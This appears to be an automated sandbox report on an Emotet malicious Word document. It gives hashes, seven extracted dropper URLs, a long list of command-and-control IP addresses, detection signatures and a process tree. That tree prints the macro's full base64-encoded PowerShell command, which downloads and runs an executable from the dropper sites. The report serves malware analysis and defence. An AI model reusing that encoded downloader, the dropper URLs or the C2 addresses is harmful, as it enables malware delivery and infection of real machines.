emotet | 859ea99ec200187dd001774f9b4c19d4b22e900fe6a2acbc1a2e3caad4914489

Analysis

max time kernel
137s
max time network
138s
platform
windows10_x64
resource
win10v200722
submitted
23/09/2020, 15:59

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General

Target
emotet_e1_859ea99ec200187dd001774f9b4c19d4b22e900fe6a2acbc1a2e3caad4914489_2020-09-23__155709031863._doc.doc
Size 160KB
Sample200923-sd5522bdzx
SHA256 859ea99ec200187dd001774f9b4c19d4b22e900fe6a2acbc1a2e3caad4914489
MD5 1200812276ba04899aea9c00d69aba56
SHA1 24b521e5781be2d6c09bde52ab0ba098e3a0fafb
SHA512 78bbfc426e3f6aa9d0a4cf314e489f1f44c8ce2572e62d45f0e1b155eaf08b887bd308802f7b5fa7f372c78dfc582aa34d03dd3cdc10ac6b2bed188d7a3f56c5
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://khobormalda.com/wp-content/82/
exe.dropper
http://blog.zunapro.com/wp-admin/LEE/
exe.dropper
http://megasolucoesti.com/R9KDq0O8w/Y/
exe.dropper
https://online24h.biz/wp-admin/K/
exe.dropper
https://fepami.com/wp-includes/eaI/
exe.dropper
http://ora-ks.com/system/cache/w/
exe.dropper
http://padamagro.com/wp-admin/Nc/

Extracted

Family

emotet

70.116.143.84:80
51.75.33.127:80
37.157.196.117:7080
116.202.23.3:8080
187.162.248.237:80
204.225.249.100:7080
67.247.242.247:80
192.241.146.84:8080
178.250.54.208:8080
188.135.15.49:80
77.238.212.227:80
152.169.22.67:80
186.103.141.250:443
82.76.111.249:443
213.197.182.158:8080
201.213.177.139:80
74.136.144.133:80
72.47.248.48:7080
51.38.124.206:80
190.24.243.186:80
174.113.69.136:80
192.81.38.31:80
68.69.155.181:80
45.16.226.117:443
111.67.12.221:8080
83.169.21.32:7080
82.230.1.24:80
51.255.165.160:8080
70.32.115.157:8080
61.92.159.208:8080
191.182.6.118:80
77.90.136.129:8080
181.129.96.162:8080
45.46.37.97:80
68.183.170.114:8080
190.117.79.209:80
192.241.143.52:8080
65.36.62.20:80
185.94.252.27:443
96.245.123.149:80
185.215.227.107:443
70.32.84.74:8080
190.2.31.172:80
104.131.41.185:8080
189.2.177.210:443
190.163.31.26:80
92.24.50.153:80
185.183.16.47:80
119.106.216.84:80
60.108.144.104:443
177.129.17.170:443
186.70.127.199:8090
104.131.103.37:8080
80.11.164.185:80
212.71.237.140:8080
185.94.252.12:80
1.226.84.243:8080
177.74.228.34:80
111.67.77.202:8080
199.203.62.165:80
5.196.35.138:7080
217.199.160.224:7080
91.105.94.200:80
190.115.18.139:8080
220.109.145.69:80
138.97.60.141:7080
60.93.23.51:80
74.58.215.226:80
78.249.119.122:80
5.189.178.202:8080
219.92.13.25:80
38.88.126.202:8080
96.227.52.8:443
64.201.88.132:80
181.30.61.163:443
95.9.180.128:80
177.73.0.98:443
202.4.58.197:80
209.236.123.42:8080
61.197.92.216:80
170.81.48.2:80
51.159.23.217:443
123.51.47.18:80
12.162.84.2:8080
54.37.42.48:8080
185.232.182.218:80
87.106.46.107:8080
217.13.106.14:8080
137.74.106.111:7080
68.183.190.199:8080
51.15.7.189:80
77.106.157.34:8080
172.104.169.32:8080
190.190.148.27:8080
76.168.54.203:80
2.36.95.106:80
185.178.10.77:80
50.28.51.143:8080
35.143.99.174:80
50.121.220.50:80
45.33.77.42:8080
98.13.75.196:80
94.176.234.118:443
155.186.0.121:80
216.47.196.104:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	992	3352	POWeRsHeLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3768-14-0x00000000006D0000-0x00000000006E2000-memory.dmp	emotet
behavioral2/memory/3768-14-0x00000000006D0000-0x00000000006E2000-memory.dmp	emotet
behavioral2/memory/3768-15-0x0000000000570000-0x0000000000580000-memory.dmp	emotet
behavioral2/memory/3768-15-0x0000000000570000-0x0000000000580000-memory.dmp	emotet
behavioral2/memory/3472-18-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/3472-18-0x0000000000590000-0x00000000005A2000-memory.dmp	emotet
behavioral2/memory/3472-19-0x0000000002050000-0x0000000002060000-memory.dmp	emotet
behavioral2/memory/3472-19-0x0000000002050000-0x0000000002060000-memory.dmp	emotet

Blacklisted process makes network request 4 IoCs

flow	pid	Process
20	992	POWeRsHeLL.exe
22	992	POWeRsHeLL.exe
24	992	POWeRsHeLL.exe
37	992	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3768	X9ouqft.exe
3472	KBDROPR.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\netprofm\KBDROPR.exe	X9ouqft.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1568	WINWORD.EXE
1568	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
992	POWeRsHeLL.exe
992	POWeRsHeLL.exe
992	POWeRsHeLL.exe
3472	KBDROPR.exe
3472	KBDROPR.exe
3472	KBDROPR.exe
3472	KBDROPR.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	992	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 992 wrote to memory of 3768	992	POWeRsHeLL.exe	79
PID 992 wrote to memory of 3768	992	POWeRsHeLL.exe	79
PID 992 wrote to memory of 3768	992	POWeRsHeLL.exe	79
PID 3768 wrote to memory of 3472	3768	X9ouqft.exe	80
PID 3768 wrote to memory of 3472	3768	X9ouqft.exe	80
PID 3768 wrote to memory of 3472	3768	X9ouqft.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_859ea99ec200187dd001774f9b4c19d4b22e900fe6a2acbc1a2e3caad4914489_2020-09-23__155709031863._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1568

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABCADQAegBtAGEAMQBiAD0AKAAoACcAVAAnACsAJwB5AHUAJwApACsAJwBhAHYAJwArACcAYwBoACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAcgBQAFIATwBGAEkAbABFAFwASAB5AHUAOQBoAFYAMwBcAE0AZgBOAFgATwAzAHcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAVQByAGkAdAB5AHAAYABSAG8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACcAKwAnACwAIAB0ACcAKQArACcAbAAnACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAFIAYwBkAHgAaQBjADgAIAA9ACAAKAAnAFgAJwArACgAJwA5AG8AJwArACcAdQAnACsAJwBxAGYAdAAnACkAKQA7ACQAQwB5AG8AdQBjAHAAZgA9ACgAJwBMAGYAJwArACgAJwB2AHAAJwArACcAbgB1AHQAJwApACkAOwAkAEUANwAyADcAMQBxAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ASAB5AHUAOQBoAHYAMwAnACsAJwB7ADAAfQBNAGYAJwArACcAbgAnACsAJwB4ACcAKwAnAG8AMwB3AHsAMAB9ACcAKQAgAC0AZgBbAGMASABhAFIAXQA5ADIAKQArACQAUgBjAGQAeABpAGMAOAArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFEAZgBoAHQAYQAzAHQAPQAoACgAJwBaACcAKwAnADAAMgBxACcAKQArACcAbwBjACcAKwAnAHIAJwApADsAJABYAGcAdAA2AGkAMwB3AD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMAbABpAGUAbgB0ADsAJABWADUAaABqAGMAeQAxAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAoACcAcAA6AC8AJwArACcALwAnACkAKwAnAGsAJwArACgAJwBoAG8AJwArACcAYgBvACcAKwAnAHIAbQAnACsAJwBhAGwAZABhACcAKQArACgAJwAuACcAKwAnAGMAbwAnACkAKwAnAG0AJwArACcALwAnACsAKAAnAHcAcAAnACsAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACcAdAAvACcAKwAnADgAJwArACcAMgAvACcAKwAnACoAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvAGIAJwApACsAKAAnAGwAJwArACcAbwBnACcAKQArACcALgB6ACcAKwAoACcAdQBuAGEAcAAnACsAJwByACcAKQArACgAJwBvAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AdwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtACcAKQArACcAaQAnACsAJwBuAC8AJwArACgAJwBMACcAKwAnAEUARQAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAbQAnACsAJwBlAGcAYQBzACcAKQArACgAJwBvAGwAdQAnACsAJwBjAG8AJwApACsAJwBlACcAKwAnAHMAJwArACgAJwB0AGkAJwArACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAUgA5ACcAKwAoACcASwBEAHEAMABPACcAKwAnADgAJwApACsAJwB3ACcAKwAnAC8AJwArACgAJwBZAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAvAG8AJwApACsAJwBuACcAKwAoACcAbABpACcAKwAnAG4AZQAyADQAaAAuACcAKQArACcAYgBpACcAKwAoACcAegAnACsAJwAvAHcAJwArACcAcAAtAGEAZABtACcAKwAnAGkAbgAvACcAKQArACcASwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwAHMAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAZgAnACsAJwBlAHAAJwArACgAJwBhAG0AJwArACcAaQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAJwApACsAJwBwAC0AJwArACgAJwBpAG4AYwAnACsAJwBsAHUAZABlACcAKwAnAHMAJwApACsAKAAnAC8AZQBhACcAKwAnAEkALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACgAJwBwADoALwAnACsAJwAvAG8AJwApACsAJwByACcAKwAnAGEAJwArACcALQAnACsAKAAnAGsAcwAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHMAJwApACsAJwB5AHMAJwArACcAdABlACcAKwAoACcAbQAvACcAKwAnAGMAYQBjACcAKQArACgAJwBoACcAKwAnAGUALwAnACkAKwAoACcAdwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcAAnACkAKwAnAGEAJwArACcAZABhACcAKwAoACcAbQAnACsAJwBhAGcAJwApACsAKAAnAHIAbwAuACcAKwAnAGMAJwArACcAbwBtAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACkAKwAnAE4AYwAnACsAJwAvACcAKQAuACIAcwBwAEwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGQAagBuAGwAcgBsAD0AKAAoACcATgB5AHUAcABzACcAKwAnADMAJwApACsAJwBiACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0ANABzAHkAaABfAGQAIABpAG4AIAAkAFYANQBoAGoAYwB5ADEAKQB7AHQAcgB5AHsAJABYAGcAdAA2AGkAMwB3AC4AIgBEAG8AdwBuAEwAYABvAEEAZABgAEYASQBgAGwARQAiACgAJABNADQAcwB5AGgAXwBkACwAIAAkAEUANwAyADcAMQBxAGMAKQA7ACQASwA1ADkAawAwAF8AdgA9ACgAKAAnAEQAXwB3ACcAKwAnAGUAeQAnACkAKwAnAHoAdAAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARQA3ADIANwAxAHEAYwApAC4AIgBMAGAARQBuAEcAVABIACIAIAAtAGcAZQAgADIANwA3ADUANgApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABFADcAMgA3ADEAcQBjACkAOwAkAFEAZgBrAGsAZwBqAGcAPQAoACcAVwAnACsAKAAnAF8AbQAnACsAJwBpACcAKQArACgAJwBkACcAKwAnADgAaAAnACkAKQA7AGIAcgBlAGEAawA7ACQASwBiAHUAZgBoADAAawA9ACgAJwBYAGgAJwArACgAJwBtADYAJwArACcAZwB4ADYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMgA2AHcAMwBiAGgAPQAoACgAJwBUACcAKwAnAHEAYwBfAGkAJwApACsAJwBlAGIAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:992
- C:\Users\Admin\Hyu9hv3\Mfnxo3w\X9ouqft.exe
  "C:\Users\Admin\Hyu9hv3\Mfnxo3w\X9ouqft.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3768
- - C:\Windows\SysWOW64\netprofm\KBDROPR.exe
    "C:\Windows\SysWOW64\netprofm\KBDROPR.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3472

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/992-8-0x00007FFD1B820000-0x00007FFD1C20C000-memory.dmp

Download

memory/992-9-0x00000200B3260000-0x00000200B3261000-memory.dmp

Download

memory/992-10-0x00000200B3410000-0x00000200B3411000-memory.dmp

Download

memory/1568-0-0x00007FFD22B00000-0x00007FFD231C6000-memory.dmp

Download

memory/1568-6-0x000002D18BB43000-0x000002D18BB48000-memory.dmp

Download

memory/1568-7-0x000002D18BB43000-0x000002D18BB48000-memory.dmp

Download

memory/1568-5-0x000002D193D06000-0x000002D193D71000-memory.dmp

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memory/3472-18-0x0000000000590000-0x00000000005A2000-memory.dmp

Download

memory/3472-19-0x0000000002050000-0x0000000002060000-memory.dmp

Download

memory/3768-14-0x00000000006D0000-0x00000000006E2000-memory.dmp

Download

memory/3768-15-0x0000000000570000-0x0000000000580000-memory.dmp

Download